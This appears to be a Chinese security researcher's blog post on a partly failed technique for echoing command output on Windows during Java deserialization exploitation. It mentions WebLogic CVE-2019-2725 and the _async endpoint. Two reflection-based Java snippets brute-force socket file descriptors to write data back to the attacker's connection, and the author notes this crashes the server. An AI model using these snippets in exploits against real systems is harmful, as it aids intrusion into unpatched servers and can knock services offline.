之前有linux文件描述符回显了,当时搞出来后,就想着接着搞win。因为比较忙搁置了一段时间。后续又接着搞了下,因为我觉得这个回显是jdk级别的,不需要专门研究一个应用再去回显。
并且还可以针对异步服务进行回显。
为什么是失败的,因为回显后服务会挂。
在win上,是无法像linux上使用如下方式进行回显。
FileOutputStream os = new FileOutputStream(fd);
os.write(ret.getBytes());
于是就去看socket的实现。
需要了解java IO分成三种BIO、NIO、AIO。文中实现了BIO和NIO两种回显。
在 win32 的实现中将 创建好的 文件句柄 设置到 handle 字段,在 linux 版本中则使用的是 FileDescriptor 的 fd 字段。
坑:在实现过程中我谷歌了一些资料,加上我以前的一些认知,我以为上面的内容是真的,在win上要设置一直handle字段,一直没有实现任何回显。于是仔细看了下win下BIO的实现,还是设置FileDescriptor 的 fd 字段。
这个过程比较简单,大家看下socket 写的实现就好了,就直接上源码了。
spring boot之前测试记忆中是NIO。
NIO socket返回。
for (int i=0;i<10000;i++){ try { byte[] buff = new byte[]{0x61,0x61}; Class class1 = Class.forName("java.nio.HeapByteBuffer"); Constructor constructor1 = class1.getDeclaredConstructors()[1]; constructor1.setAccessible(true); Object heapByteBuffer = constructor1.newInstance(buff,0,2); Class class2 = Class.forName("sun.nio.ch.SocketChannelImpl"); java.lang.reflect.Field nd = class2.getDeclaredField("nd"); nd.setAccessible(true); Class class3 = Class.forName("sun.nio.ch.IOUtil"); Method write = class3.getDeclaredMethods()[1]; write.setAccessible(true); FileDescriptor fd = new FileDescriptor(); java.lang.reflect.Field field = FileDescriptor.class.getDeclaredField("fd"); field.setAccessible(true); field.set(fd, i); System.out.println(new FileInputStream(fd).getChannel()); write.invoke(null,new Object[]{(FileDescriptor)fd, class1.cast(heapByteBuffer), -1L, nd.get(null)}); }catch (Exception e){ System.out.println(e); } }
一开始我以为_async/AsyncResponseService 是无法回显的,在我搞出cve-2019-2725回显之后,看过一张别人把_async/AsyncResponseService回显的截图。我就一直寻思着怎么把_async/AsyncResponseService回显了。
weblogic使用的是BIO进行回显的
模拟BIO
for (int i=0;i<10000;i++) { try { Class class1 = Class.forName("java.net.SocketOutputStream", false, null); java.lang.reflect.Constructor constructor1 = class1.getDeclaredConstructors()[0]; constructor1.setAccessible(true); java.lang.reflect.Method write = class1.getDeclaredMethod("write",new Class[]{byte[].class}); write.setAccessible(true); java.io.FileDescriptor fd = new java.io.FileDescriptor(); java.lang.reflect.Field field = java.io.FileDescriptor.class.getDeclaredField("fd"); field.setAccessible(true); field.set(fd, new Integer(i)); Class class2 = Class.forName("java.net.PlainSocketImpl"); java.lang.reflect.Constructor constructor2 = class2.getDeclaredConstructor(new Class[]{java.io.FileDescriptor.class}); constructor2.setAccessible(true); Object socksSocketImpl = constructor2.newInstance(new Object[]{fd}); Object socketOutputStream = constructor1.newInstance(new Object[]{socksSocketImpl}); write.invoke(socketOutputStream, new Object[]{new byte[]{0x61, 0x61}}); }catch (Exception e){ System.out.println(e); } }
回显是回显了,但是weblogic服务会崩,win下socket的文件描述符如何确定,暂时没有一个好的思路,只能暴力猜解。有想法的朋友可以一起交流下。